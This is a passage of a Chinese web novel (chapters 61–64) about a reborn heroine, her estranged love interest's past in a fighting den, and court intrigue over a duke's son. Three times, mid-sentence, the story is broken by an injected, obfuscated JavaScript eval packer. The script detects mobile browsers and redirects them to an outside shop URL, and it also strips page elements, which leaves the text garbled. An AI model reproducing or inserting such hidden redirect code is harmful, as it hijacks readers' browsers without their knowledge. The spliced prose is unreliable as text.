戚容随即站起身,抱怨道:“怎么回事,云霞楼是咱的地盘,也有人来惹事。” 他过去一把将门打开。 “你是何人?敢拦我。”声音立时传来,尖锐又不满。 见门打开后,一团淡青色的身影直接闯进来,娇嗔地责怪道:“戚大哥,店里的奴仆好生厉害,竟想拦我。” 门口拦着的是月瓷,发黑的脸不可置信地望着那一抹淡青色。 戚容没来得及开口,这团淡青色身影晃到桌前,语气更加柔和道:“石头哥,我想吃云霞楼的蟹粉狮子头就过来了,听说你也在这,我想着就上来直接找你一同用饭。 淡青色的衣裙绣着时兴的花样子,布料贵重,姑娘年纪也不大,虽说素净些,但花朵悄然绽放更显淡雅。 她紧紧搂着元硕北的胳膊,似不经意间转头后,惊讶张着嘴道:“呀,我急着上来,都没瞧见屋里还坐着一位姑娘,不知姑娘与石头哥是何关系?在做何事?” 这是——梨香。 前世,算是与元硕北一起长大的青梅竹马。 两人亲密的样子,应当是早就相识,原来…这才是青梅竹马,即便硕北的身份变了,还是会一同长大的,这就是叶尘游所说的缘分吗? 因果如此,总不能一直让旁人伤心,自己这个悔之晚矣之人,也该尝尝伤心的滋味。 确实有点酸,还有些喘不过气,待瞧见二人亲密的模样,胃里也跟着翻腾起来,绞得肉疼。 凭着骨子里的自尊,许知韵露出恰到好处的微笑,站起身道:“看来元公子有事,那我就先回了。” 说完,许知韵颔首,目视前方,迈着莲步端庄离开,动作一气呵成,此刻像前世的章淑华。 原来不被爱的人,硬气的身板装作不在乎时,会有一点儿难过。 适才跟着拦梨香进屋的雨妈妈,又一次狠狠地瞪了一眼元硕北,摘了面具也不识货。 面容纠结不解的月瓷同雨妈妈跟在姑娘身后,亦步亦趋地离开。 门口尴尬到无处可逃的戚容,慌乱地搓着手,见许知韵走后,也跟在后面逃了。 这情意交叠的修罗场,真不是他这种单弦纯情公子呆的地方。 61. 嘴巴露风的大好人 乱支巷,杂乱交错,路边摊位紧凑地挨在一起,叫卖声不绝于耳,此处就是奉京城鱼龙混杂之地。 一间残破的屋子里,此刻比往常要热闹些,胡须凌乱不堪的老头笑吟吟地烧着水,顺手往破口的陶壶里加一把晒干的草药。 “来…来,别客气。”待水烧开,老头殷勤地招待着矮桌前的两位客人,一男一女皆是华衣锦袍,与破败的屋内极为不相称。 矮凳上的客人左右挪动着,戚容内心挣扎,他拒绝坐在布满泥沟的矮凳上,可见许姑娘从容地坐下,他一男子更不好扭捏,才下决心坐下,就是可惜了这身衣裳。 面前残破的茶碗里泛着绿光,也不知适才包大夫扔进去的草药是什么,戚容忍不住直言道:“包大夫,这是何物啊?能喝…吗?” 滋溜滋溜正喝着的包大夫,撇了撇嘴,扬头道:“臭小子,这可是好东西,别人来我还不拿出来呢?” 戚容疑惑着紧闭双唇,拒绝品鉴这碗茶。 一个时辰前,被梨香突然打扰,许知韵心里说不上是何滋味,慌乱离开时正与来讨桃花醉的包大夫相撞,就不知不觉被领到他的住处。 吱吱作响的桌椅,露风的窗,再配上一碗奇怪的青草汤,比心里难以形容的光景还要凄凉。 心里涌起的酸涩,正好拿这碗青草汤压下,许知韵端起面前的茶碗,不言不语地一饮而尽。 “瞧瞧,还是小丫头识货,胆子还大。”包大夫赞赏地点头,又看向戚容,一脸嫌弃,“你啊,不识货,白长得又高又壮,胆小如鼠。” “这…与胆子有何关系,再说入口之物还需谨慎。”戚容无奈辩解道。 “此物应为忘忧草,长于山崖顶,难于采摘,更难以保存,能存下来的少之又少,如此稀缺之物,今日能尝到实属荣幸,多谢包大夫。”许知韵颔首示意感谢,表情诚恳。 “忘忧草,真的吗,光听名字就是珍贵之物,是该尝尝。”说罢,戚容端起茶碗也一饮而尽。 入口青涩、回味巨苦,苦到舌头发麻,戚容强忍着咽下去。 斜着眼睛看着戚容皱眉扭曲的脸,包大夫忍不住“噗—嗤”一声大笑出来。 许知韵在一旁垂眸浅笑,戚容怕是这桌最单纯的人。 察觉到异常的戚容,蹭地一下站起身来,哀怨怒吼道:“好啊,你们合起伙来骗我,许姑娘,亏我看你伤心,担心你才跟着来的,你竟然骗我喝下这…不知叫什么的苦东西。” 许知韵望着张扬舞爪的人,勾起回忆温和地一笑。 前世元硕北身边的所有人都讨厌她,恨不得离她远远的,唯有戚容一人正常待她,又对她说:奉主不同,立场不同,所谋之事全凭本事,无法诋毁,何况你是一女子更是不易。 一如当初,心软、耳根子更软。 “戚公子,忘忧草为假,可疗效为真,确实能忘忧,舌尖过于苦,就忘却心里头的苦,你说呢?”许知韵转头又看向包大夫,“可见包大夫费心了,多谢。” 小丫头心思细腻,豁然澄明。 在云霞楼外一见到苍白着脸的小丫头,就能看出她忧伤过度,必要阻断她的思绪,这才放一把龙胆草苦苦她。 包大夫扶了几下杂乱的胡须,平静地道:“这人,最爱自找麻烦,什么苦都是自找的,想那千千万万忧愁,即然解决不了,索性就不要去理会。” 戚容点头附和,坐下来忙肯定道:“还是您老洒脱豁达,许姑娘应多学学,再说世间男儿如此之多,何必只盯着一人。” 戚容颇为老道般看向许知韵,故作深沉地讲话,言外之意就是让许知韵不要盯着元硕北。 戚容是个心细之人,男女感情之事更是一目了然,许知韵也并未刻意隐藏,几个眼神就能看出许知韵对元硕北的心思,眼下又这般有意劝说说,莫不是梨香与元硕北二人已结连理? 应当不会的,前世不是这般,他二人虽一同长大,但元硕北只当梨香是妹妹,只是妹妹。 许知韵心里疑惑,继续追问:“戚公子,此话何意,望你能提点一二。” “我都说得如此明白了,许姑娘如此聪慧,怎会不懂。” 戚容越说越后悔,他就不该跟着许姑娘来包大夫这里,喝口苦药无妨,可提起少主感情之事确实不好,何况这还有个外人包大夫。 坐在一旁的包大夫渐渐听明白,张皇失措撞到自己的小丫头,为何郁郁寡欢的模样,又是为着那个戴面具的小子伤心,不过那个小子的确不错,答应免费供他酒喝,自己得了便宜不好出言诋毁他,再一个小丫头主意大得很,不是劝几句就会听的,为情所困世间难解啊。 老头颤巍地站起身,扶着腰挪步走出去:“哎呀,大好的日头,我这身子骨可要去晒晒太阳。” 拙劣的演技,撇脚的借口,包大夫几步推开破旧的门,深呼了一口气,他一个老头,可不想管复杂的感情之事。 戚容满眼疑惑震惊,竟然有人不爱听情情爱爱之事。 转头时,见许姑娘凝视他良久,他实在不忍一如花的姑娘白费心思、浪费功夫,心里也确实忍不住想找个人分享他发现的大喜事。 “咳咳…许姑娘想知晓。”戚容往前凑近一点,左右张望着简陋的屋子,还生怕旁人听见,接着细声道来,“少主与梨香算是同甘共苦走过来的,感情不是一般的好,可以说二人情比金坚,许姑娘别费心思了。” “怎么个苦法?梨香姑娘有何苦?” 前世梨香的父母是何家最信任的旁支,虽不是南临首富,但绝不缺钱,富养出来的姑娘会有何苦? 许姑娘的关注点怎么不同,无碍,戚容想着多解释几句的事。 “她受的苦多了,和少主一样,小时候被拐子卖进搏斗场,整日的吃不饱饭,还要日日浆洗打扫,之后长大些,若不是少主护着,梨香又会被卖出去的。” 戚容习惯性的用手点着桌子,自顾自说着,“梨香姑娘是个好姑娘,少主幼时打斗经常受伤,多半是梨香照顾的,有一次她去偷药给少主吃,让管事的发现差点被打死,他二人患难与共,相伴多年,这情意多深,许姑娘才与少主相处几日,怎能比得了。” 戚容说的每一个字,许知韵皆听得认真,可有些糊涂,好似树上长了鱼儿,水里冒出果子,让人听得混乱。 硕北被拐子卖到搏斗场,怎么会呢?他身边的忠臣武功高强,皇城都敢闯,会怕拐子? 屋内短暂的安静,戚容还在思索着要不要再说点什么,他明显看到许姑娘苍白的脸逐渐发青。 片刻后,许知韵心底恍然大悟,转瞬间又面沉如水,声音更是冷到冰点:“你说,他是如何被卖到搏斗场的?” 清冷慑人的威压逼地戚容不得不回道:“从皇宫救出来后,就不小心被拐子拽走了,少主那时候还小,无力挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493452|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱。我们五年前才找到少主,搏斗场本来就隐蔽,被拐去的孩子更是藏得深,我们也是一刻不停地才寻到。” “许姑娘不知此事吗?” “真的…不知晓吗?我是不是说了不该说的话。”反应过来的戚容小声嘀咕着,又没法收回了。 原来如此,竟是如此。 难怪元硕北的性情大变,与前世有太多的不同。 在搏斗场长大的人,怎会是翩翩公子模样,他到底是受了多大的苦,才一改原来温和的性子,想来会武也是不得已之事,为了自保活下去。 重来一世,一切都不对,偏离了既定的路线,他本该被忠臣用心呵护培养长大的,而今生却独自在虎狼窝里求生存。 这一切的改变是否与她有关。 ——— 云霞楼,早已过了午食,楼内只有一桌客人在用餐,掌柜的在柜台前噼里啪啦拨动着算盘珠。 垂头丧气的戚容大步跨进楼内,跑堂的瞧见立马迎上来。 一改平日的嬉闹,戚容只平静地吩咐:“弄两个小菜,一壶桃花醉送上来。” “好嘞。”跑堂的利落地赶去后厨。 二楼特意留出一雅间供主子用,也方便主子能监听到隔壁的动静。 戚容走进去时,没想到少主也在。 元硕北一直在等他回来,他瞧见戚容同许二姑娘一起离开的,也不知去何处,但他清楚戚容的嘴巴会主动说出来的。 出乎意料的是戚容只是心虚地叫了声“少主”,就安静地用起饭来,与平时截然不同,简直判若两人。 这更勾起元硕北的好奇,究竟发生了何事? “说吧,出了何事?” “啊!” 戚容不动声色,尽量平稳内心的波澜,也没多大事,就是告知许姑娘一些少主的过往,总归是合作关系,知根知底会更好些。 “无事啊,少主。”戚容摇着头,与此同时端起酒杯喝了几口酒,“怎么没见梨香姑娘?” 元硕北细细打量着想转移话题的人,眼神触碰到他就匆忙跳开,也不知想隐瞒何事。 “说起梨香,你可知错?” “少主,我与梨香姑娘有何事,我们可是清白的。”戚容急切地摆手,骤然大声分辨到。 “我说的是你没管住梨香,她本不该随意出入搏斗场的。” 说的是这事,戚容瞬时安下心来,少主的话吓得他出了一身冷汗。 “那是我的错,梨香姑娘说她没逛过奉京城,我便派了几个人跟着她,许她随意出入,即然少主不放心,之后我会看着梨香姑娘,不让她出搏斗场。” “许二姑娘同你去了何处?说了什么?” “啊!” 戚容刚放下的酒杯,又端起来喝了几口,含含糊糊地道:“就去包大夫住处喝口茶,也没说什么。” 平时想捂住戚容的嘴让他闭嘴,眼下想让他说,他倒真学会闭嘴了。 算了,元硕北赌他心里藏不住事,早晚会忍不住说出来。 见元硕北不再追问,戚容可算放下心来。 他要怎么回复少主,他将少主与梨香姑娘的亲密关系告诉许姑娘,还让人家别白费心思,而且他还将少主的过往顺口说出来,让许姑娘失神许久,落寞离开。 此时的戚容真想给自己一巴掌,好人真不好当啊,他真的是一片好心。 62. 漫长的夜 白日的喧嚣褪去,漆黑的夜幕缀满星斗,偶尔有几声猫叫惊扰了思绪。 十几个壮汉的身影被拉长,他们背着沉重的货物往来于荒废的宅院中。 许阳脚步匆匆,赶到巷子口停的一辆马车前,悄声道:“大人,再有半个时辰就能搬完。” 车内的许良友掀开车帘一角,满意地点头:“把人盯住了,不可让他们乱说出去。” “是,大人放心,用的人皆是信得过的。” 做了多年许府的管家,许阳办事能力还是可信任的。 “可是大人,囤如此多的粮食,会不会…。” 许阳是忠心的,他不理解自家大人这段时间囤了五六个宅院的粮食,到底要做什么,忍不住担心询问,在看到许良友凌厉的眼神扫过来时,许阳止住了话头。 “做你该做的,其他的事不用管。” 说完,许良友的马车趁着夜色离开。 望着马车的方向,许阳久久没能回神,自家大人最近阴沉更甚往日,私藏太多不可言说的秘密,连他这个忠仆都瞒着。 ——— 许府,冷月华光下,一清丽身影淡漠地站在树下,远远望去犹如仙娥,美如芙蓉、胜过繁星。 月瓷跳进花溪院时,就见许姑娘孤单的身影,立于树下等她。 从前她是不太喜欢许姑娘,觉得许姑娘是红颜祸水,专门来坑害公子的,可那日见到公子对梨香过于亲密的模样,心里又替许姑娘伤心。 果然,人是重感情的,与谁亲近些就会向着谁。 “姑娘,许大人才回府,已经熄灯睡下了,许阳还在看着人搬粮。” “还在屯粮?”声音太过清冷,没有一丝温度。 “是,又一处荒宅。” 刺杀大哥的事不知查地如何,在这节骨眼上去屯粮,有何用处? 预料到秋季的旱灾,想倒卖粮食挣些银子?身居高位不怕旁人来查? 如今的便宜爹改性子了?想贪些银钱? 陈家将许曼放印子钱一事捅了出去,第二日许良友就被御史弹劾,陛下当着满朝文武百官的面子严厉呵斥,一丁点面子也没给他留。 放印子钱,这在朝中上下不过是一件微不足道的小事,陛下却刻意着重点出来,任谁都能看出来便宜爹失去了陛下的倚重,宠臣的地位不保。 真怕他铤而走险,再做出何事。他与严和川的师生情意似乎也淡了不少,前世许知韵可是陪着便宜爹去严府,给他的老师过生辰的,如今都没提过此事。 便宜爹做事太谨慎,不露形迹,寻查困难些,不是一日两日就能猜出他的意图。 “月瓷,回去休息吧。”许知韵见月瓷疲惫,催促道。 盯了几个晚上,即便月瓷身体再好也不能这么熬着。 “是。”月瓷踌躇片刻,断断续续道,“姑娘,公子…为何公子…公子与以往似乎不大一样。” 月瓷拢共也没见过几面元硕北,却也看出来了,可想变化有多大,要不是同一张脸,都不敢相信是一人。 “是发生一些我们没预料到的事,回头与你细说。” 在忠臣用心教导下长大,会成为温文尔雅的翩翩少年,与在搏斗场的欺压下搏命长大得狠戾多疑的狼少年相比,的确判若两人。 路终究要往前走,过去的往事不能再去追回,探其原因似乎也无意义。 说罢,许知韵提起石桌前的梅子酒,走出花溪院。 梅子酒是兰姨自己酿的,果香四溢,清甜甘冽,喝了也不醉人,炎炎夏日最好的饮品。 去思雅堂的路上寂静无人,府内的几盏灯光勉强照个大概,多亏今晚的月光够亮,即便是弯月,也如火光。 先生李巧兮一直被安排住在思雅堂旁边的厢房内,环境清幽,无人打扰,深夜更是寂静。 灯火一盏,孤影透过窗,难以掩盖屋内的哀伤。 “咚咚咚—” 许知韵敲响了房门,不多时匆忙来开门的李巧兮,错愕不解地看着深夜到访的学生。 李巧兮眼眶红通通的,挂着点点泪水,简单地被帕子擦拭一二,声音有些嘶哑:“二姑娘,这么晚了,有何事?” “得了上好的梅子酒,想邀先生一同品尝。” 被逐出李家的李巧兮,为了生存才选择为人师,奉京的后宅妇人不仅看上她的好才学,更看中的是陛下对她一句轻飘飘的夸赞。 一句“贞洁女子”,对于后宅的姑娘们来说,这句话无异于锦上添花,更利于女子找到更合适的夫家。 可对于她来说,她想要的不过是与年少就订婚的梁家少年郎共白头。 只怪天不遂人愿,废太子叛国案一发生,不仅换了天子,换了朝堂,也逼死她心慕已久的未婚夫君。 她一个闺阁女子,无能为力,只能为她的心上人守这一生。 今日的月未满,心更是残缺。 她的心上人也离逝十年之久,这一夜注定无眠,她写了满屋子的诗,祭奠她此生的遗憾。 此时的忧伤却被二姑娘打断,作为师长她不好斥责,只是言语冷淡些:“如此晚了,还是莫要贪杯,二姑娘回去休息吧,改日再一同品鉴。” “倒是可惜了,学生有些许疑问想向先生讨教。” 提着酒的许知韵刚想转身,就被李巧兮叫住。 “等一下。” 师者,传道、授业、解惑,岂能拒绝。 屋内的桌上、地上,被白纸铺满,纸上的字密密麻麻,诉说着思念,归于一个“情”字。 李巧兮将桌上收拾干净,遂又拿出酒杯,请许知韵坐下。 打开梅子酒,将桌上的酒杯满上,扑鼻的香气四溢,交织的独特的芳香。 抿一口,甘甜不腻,回味悠长,此时的李巧兮没有品鉴的心情,只是一饮而尽。 她想着尽快解决二姑娘的疑问,便问道:“二姑娘,有何不懂之处,尽可说来。” “不知先生的未婚夫君是个什么样的人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556412|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听闻此话的李巧兮微微怔住,似乎心中早已有答案,直接脱口而出:“贤才君子,品行端正。” “如此好的人,凌迟之刑过于残忍了。” 李巧兮腾的站起身,作为先生她不能太过粗鲁,但任何人都不可轻视梁家少年,语气冰冷生硬道:“二姑娘,请回。” 许知韵不为所动,端着酒杯又饮了一口:“先生,想过为夫君报仇吗?” 外面太过安静,静到李巧兮觉得自己出现幻听,她不可置信的盯着她的学生,想确定方才的话是不是出自她的口。 “你说什么?” “先生十年前,不就清楚废太子是被冤枉的吗?自己的夫君是被残害的吗?自己多年未嫁人,不就是等着有朝一日,冤案被翻,天下大白之时,以梁槿堂正妻的名义为他下葬吗?” 许知韵望着声泪俱下的李巧兮,“贞洁”从来都不是眼前这位女先生的名头,重情重义才是。 酒杯被许知韵重重地放下,“咯噔”一声,像是打开尘封已久的心。 前世未能达成先生的夙愿,是她这个学生的遗憾。 “你究竟是何人?” “什么人不重要,我们想要的、所期望的,都是同一件事,这就足够了。”许知韵起身走近几步,“先生,这一路独自一人着实辛苦了,眼下我们可以结伴而行。” 泪水布满发红的眼眶,糊了视线,但心底像有束光射进来。 十年前,她收到少年郎偷偷传来的信,他告诉她,此情深似海,但为君为臣为子,葵藿之心不可弃,宁死不屈也要为被陷害的太子执言,他愿有朝一日能真相大白,洗冤屈敬忠良,到那时想请她替忠臣们上一柱香。 终是等到来人能与她共情了,她要相信吗?能信任旁人吗? 这一夜过于漫长,天边的黑幕零散分布的星星,用力地闪着微弱的光,似乎比往日要更亮一些。 琉光巷,灯火辉煌,百姓们俗称此巷为“风流巷”,青楼楚馆招摇地聚集于此,繁花怒开,争奇斗艳。 夜已大深,鸡鸣过半。 一辆摇摇晃晃的马车,从琉光巷驶出来,车内俊俏的公子一手端着青花花鸟杯,一手挑逗着袒露香肩的貌美女子。 忽然,马车一停,晃得车内的主子猛然摔倒,随后咒骂声传了出来。 待见车外仍旧没有声音,俊俏公子系好下腰间玉带,酿呛地走出来。 车外的月光正亮,倏然眼前一黑,随后被几个壮汉拽下车,拖到拐弯处的巷子里。 “啊—是谁,哪来的狗东西竟敢打小爷我。” “别打了,别…打了,来人啊,救命,救命…” 惨叫声惊到路过的猫狗,却没惊扰到远处的人。 翌日一早,奉京城内就传出消息,说国公府的小霸王郭政业被揍个满脸青,不敢出来见人了。 问是何原因,世人皆说活该,整日招猫逗狗,仗着国公爷的名声作威作福,为非作歹,强行霸占良家少妇,此人是该被收拾。 63. 踩踏国公爷的脸面 宽阔华丽、气势磅礴的国公府内,一改往日的井然有条。 绕过奇石堆砌的池塘,有一处宽敞明亮的院落,丫鬟小厮乱糟糟忙成一团。 正屋内杂乱不堪,地上破碎的茶盏散落一地,手被扎破的丫鬟不敢吱声,忍着疼尽快收拾干净。 屋外几位大夫眉头紧皱,不时地低声交谈,随后又忙写方子吩咐丫鬟熬药。 躺在内室床上的郭政业身上多出骨折,脸更是肿得看不出模样,一动也不敢动,只是用嘴发出不断地呻吟声。 国公爷爱妾陶氏,此时正拿帕子擦拭着眼角的泪,三十多岁的年纪,保养地极好,绫罗绸缎堆砌着细腻白净的肌肤,美眸低垂落泪,让人控制不住想去安慰。 国公爷郭聚兴则坐在一旁,铁青着一张脸,鼻孔喷火。 见爱妾在旁哭个没完,他既心疼又烦躁,不由地道:“好了,哭有何用,业儿看到你这副模样更不会好。” 听出国公爷的不耐烦,陶氏立马止住哭声,晃动着盈盈一握的身子,似新柳扶风不堪抵挡春风,扑到郭聚兴的身上,娇柔道:“老爷,怪妾身无能,让业儿受了如此大的委屈,都是妾身的错。” “与你何关,你莫要担心,业儿伤得虽重但没伤及要害,养些日子就好了。”郭聚兴一手安抚着爱妾,一手握紧拳头,眼神阴骛,“至于是谁动得手,已经让锦衣卫直接去查了,他们的办事你放心,用不了几日就能查出来,定会给业儿一个公道,我倒要看看谁?” 他这个国公爷做到如今的位置,尽然还有人敢欺负他的孩子,他倒是想看看谁有这么大的胆量,若不查清楚,整个国公府就会成奉京最大的笑话。 ——— 荒宅,“雅致”的搏斗场,里里外外重新刷了一遍新漆,桌椅屏风全换成新的,准备重新营业。 展先生一身灰衣,胡须扎成一髻,四处巡看查找缺漏,瞥见戚容懒散地靠在黄花梨蝙蝠纹玫瑰椅上,摇着那把招摇的扇子,忍不住上前呵斥:“容儿,行坐要端正。” 戚容乖顺地点了点头,微微正下身子后又歪倒在一旁,展先生心里无奈,也不去理会他的坐姿,只是在戚容面前来回踱步。 “先生,放轻松些,少主安排的妥帖,事情会很顺利的。” 听闻此话,展先生停住脚步,靠近戚容,斟酌道:“此事如此安排,是否与你口中的许姑娘有关?少主与这位姑娘有何关系?” 原本慵懒歪着的戚容停顿片刻,立马又坐直,绷紧身子,含糊其辞道:“许姑娘只是提出一些计划,定下来的是少主。再说…墨姑娘的徒弟,怎会害咱们,而且先生…你看锦衣卫确实出动了,一切都按计划进行。” 说完,戚容收起扇子,故作轻松地站起身,理正衣襟,向门外挪着步子,越走越快,几步就不见踪影。 “唉,你…”展先生摇头,深深叹了口气,关于许姑娘还是没问清楚,又让臭小子跑了。 顺着窗内望向少主的屋子,眉心紧拧了三分,少主如今开始行事,头一箭便直接射向大皇子这个障碍,会不会太过冒失,又或是因这个许姑娘。 他想谏言,再与少主详细商讨几句,可少主那张冷峻不容置喙的脸,直接堵住他所有话。 ——— 时值傍晚,残阳斜沉,余晖透过云层撒下,劳累一日的百姓脚步匆匆往家里赶。 一声嚎叫“救命”,打破和谐安静的场面,众人皆往声响处望去。 只见一身穿褐色麻布衣的中年男子扛着锄头,一下又一下地砸向一位年少的锦袍公子。 锦袍公子额头带血,连滚带爬连忙后退,他本能地抄起手边能拿到的物件尽力抵挡。 百姓见状忙上前制止,光天化日之下,当街行凶忒大胆。 不一会儿,巡逻的官兵就赶过来,穿麻布衣男子立马丢下锄头,挣脱路人地拉拽跑了。 官兵随后跟上,带起的尘土飞扬,留下惊呼不解看热闹的路人,唏嘘不已。 嘈杂叫喊滚动式离远,大惊失色的锦袍公子,愣在原地面如土色,好心的大娘艰难地将他扶起,拍着他的背安抚。 刑部,大牢,阴森潮湿,糜烂的尸腐臭味充斥着鼻腔。 被铁链绑着的男子艰难地喘着气,几十鞭子打在身上半条命没了。 远处脚步声渐近,牢头低眉哈腰地在前领着路,国公爷郭聚兴蔑视着牢里的一切,在进这间牢房后,居高临下般冷哼道:“就是他。” 陪同的刑部郎中韩柯恭敬地回道:“回国公爷,是他,叫赵文,已经如实交代,是他雇凶殴打郭公子的。” “即已问出,留着此人有何用,没牵连到他的父母家人已经算是最大的宽容。”郭聚兴瞥视着回话的人。 韩柯摆手示意一下,后面跟着的牢头退出去几丈远,转头又凑近解释道:“国公爷好度量,赵文的确是该死,今日在大街上就敢挥着锄头杀人,还欲意逃跑。” “他,杀人,是何身份?想杀何人?” 身穿破旧麻布衣,敢殴打他国公爷的亲子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628317|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还敢于闹市杀人,郭聚兴忍不住好奇问道。 韩柯道:“赵文,原来经营一家馄饨铺,后来弟弟死了,铺子就转让出去,现下在码头搬货。” “至于他今日所杀之人,乃是沈州阳。” 听到此人,郭聚兴一愣,此人是沈丘的侄子,虽是庶子,但伶牙俐齿,能说会道,与业儿关系尚好,常常往来。 民不与官斗,赵文敢拼了命去杀官家子侄,看来此事不简单,让他这个国公爷亲自来大牢,是另有说法。 郭聚兴眼底滑过一丝不耐,冷笑着:“有话直说吧,别拐弯子。” 韩柯领会,直言道:“赵文有一亲弟弟,名为赵武,经媒婆介绍认识一女子栾倩儿,二人就此定下婚事,可刚定下不久,这姑娘走在路上,被郭公子相中,将人直接带走。这…赵武是个匹夫,得知此事只身一人寻到郭公子面前,恰巧被同行的沈家公子瞧见,几人言语不和,沈公子吩咐手底下小厮竟将赵武活活打死。” “之后,赵文得了信便去报官,判了几个小厮的罪,可他心有不甘,这才寻上郭公子与沈公子。” “哼,按你的意思是我儿活该被打? “下官不敢。” “此事已过了官府,判了凶犯,那我儿便是清白的,可眼下他被打得还躺在床上,我这个父亲来替他讨个公道,还不行吗?” “国公爷严重了。”韩柯忙拱手,又道,“请听下官接着说,赵文在被抓捕前,正巧惊扰到路过的祝大人,这才从后赶到的锦衣卫手里将人要回,扣押到刑部。” 祝程,这个老匹夫,领着刑部尚书的职,明面上铁面无私,背地里却是支持二皇子。 怪道,此事交给锦衣卫,却被刑部请过来。 眼前这个讲故事的韩柯,明摆着是想拉拢国公府,想提前给他透信呢。 见国公爷沉默,韩柯补充道:“此案尚书大人极为重视。” 极为重视,不过是想拿住国公府与沈府的把柄,可笑至极。 “你叫韩柯。” 韩柯面露喜色,忙又拱手:“劳国公爷费心记得。” “好,日后少不了你的好处。” 郭聚兴恶狠狠地瞪了一眼半条命的赵文,甩头迈着步子出了大牢。 此事没完,业儿是他最宠爱的儿子,挨打还要忍气吞声,不是打他国公爷的脸。 姓祝的老匹夫,想借着此事查到他头上,门都没有。 即便他儿子有错,也不能让一平民百姓来污蔑、践踏。 64. 棋子笑话棋子 一场久逢的小雨过后,门前的青石台阶只被薄薄地打湿一层,几阵风刮过,又恢复如初。 老百姓不由得哀声叹气,这点小雨有何用,这是不想让人活下去,村中的井水也只够吃喝,哪能奢望用它浇灌土地。 地里的土手一扬就能被风吹走,缺水导致多数种子都没发芽,这时节本该是绿油油一片的庄稼,可眼前的黄土无声地击打着百姓槁木的心。 鹊高巷,路宽且干净,占了大半的国公府内,仆从拎着几桶水,正给园中花草浇水,日头大雨水少,只能提水来浇,园中名贵的花更是要精细伺候着,不能有丁点枯黄。 东边飞檐翘角的楼阁,绿树环绕,四周寂静无声,无人敢乱走动,门头挂着硕大的牌匾,写着“慎思”二字。 屋内氛围低沉压抑,郭聚兴在听到管事的回话后,猛然将手重重拍在桌上,怒道:“岂有此理,这是要将我国公府的脸踩在地上。” 弯着腰的管事,又将头低下一寸:“老爷莫急,刑部来人只是说要询问公子几句,并未执意要将人带走。” “沈家那小子呢?” “也去沈家问了几句,沈家常跟在沈公子身边的下人被带走了,不过他们咬死说此事与沈公子无关,是小厮失手将赵武打死的。” “与他无关,就与我儿有关了?”郭聚兴气愤地打断管事的话,“这个沈州阳,真是成事不足败事有余,直接给些银子打发就好,非要打死人,这下可好,还连累了业儿,这个祝程是想给业儿安个强抢民女的罪名,真是可恶。” 管事垂着头继续道:“老爷,看样子祝大人是不会罢休,来人说过几日还会再来。” 郭聚兴深深吸了口气:“沈丘也不是傻的,拿下人顶事就能全身而退,他就不会再掺和一点,此事不能再拖下去,祝程是要盯死业儿啊。” “老爷,要如何做?” “追根到底还是与党争有关,咱们不好此时直接动手,以免事情闹大,牵扯到殿下。”郭聚兴凝神思索片刻,立即道,“备车去大皇子府,豁出我这张老脸也要保下业儿。” 大皇子府,寂然无声。 坐在紫檀雕花圈椅上的郭聚兴又朝门外望去,依旧空无一人。 半个时辰前,他被小厮领到房间就被凉到现在,可他不敢露出半点不满意,只好安静地等着。 又过了一盏茶的功夫,睦河快步走来,风尘仆仆地像是急忙赶过来似的。 毕竟是大皇子身边最信任的幕僚,郭聚兴还是起身与睦河互相行了一礼。 “让国公爷久等了,实在是殿下正处理急事,脱不开身,这才吩咐我来见国公爷,国公爷见谅。” “无妨不敢,是我唐突了,不知殿下正忙。”郭聚兴忍着不悦,勉强地挤出一抹笑。 睦河直接道:“殿下清楚国公爷近日的烦心事,早就备下百年人参要给郭公子补身子。” 国公爷闻言面红耳赤,殿下这是在点他,自己的儿子做的事的确丢人,上不得台面。 睦河全然看不见国公爷的脸色变化,仍然带着笑:“殿下让国公爷放心,此事他定不会不管的,会尽快安排,国公爷日后还是要约束好郭公子。” 听闻此话,郭聚兴的心也稳下来,打定主意跟新主,就不好让家事拖累到殿下夺位,现下殿下还管他就好,也说明他这个国公爷还是有用的。 “多谢陛下,多谢睦先生,郭某定不会忘记殿下恩情。” 前厅院内,绿意浓厚,枝繁叶茂,元修止站在二楼窗前,顺着树枝缝隙,凝望着郭聚兴离开的身影。 “殿下,话皆说清楚了,想来国公爷经此事后会约束好郭公子。”睦河径直走到窗前,照实禀告。 “嫡出的世子不在意,庶出的混账倒是上心,做爹娘的总会偏爱一子,偏宠的多了,倒是不成器。”元修止声音冷漠,夹杂着嘲讽。 睦河抬头望过去,殿下这话明面上说的是郭家公子,实则说的怕是没受过父亲疼爱的他自己,可当今陛下没有偏爱,他哪一子都不喜。 “赵家兄弟这事怕是针对殿下的,此时出现的过于巧合,之后不知还会有何事?”睦河有意转移话头,不想让殿下继续困扰在皇家父子关系中。 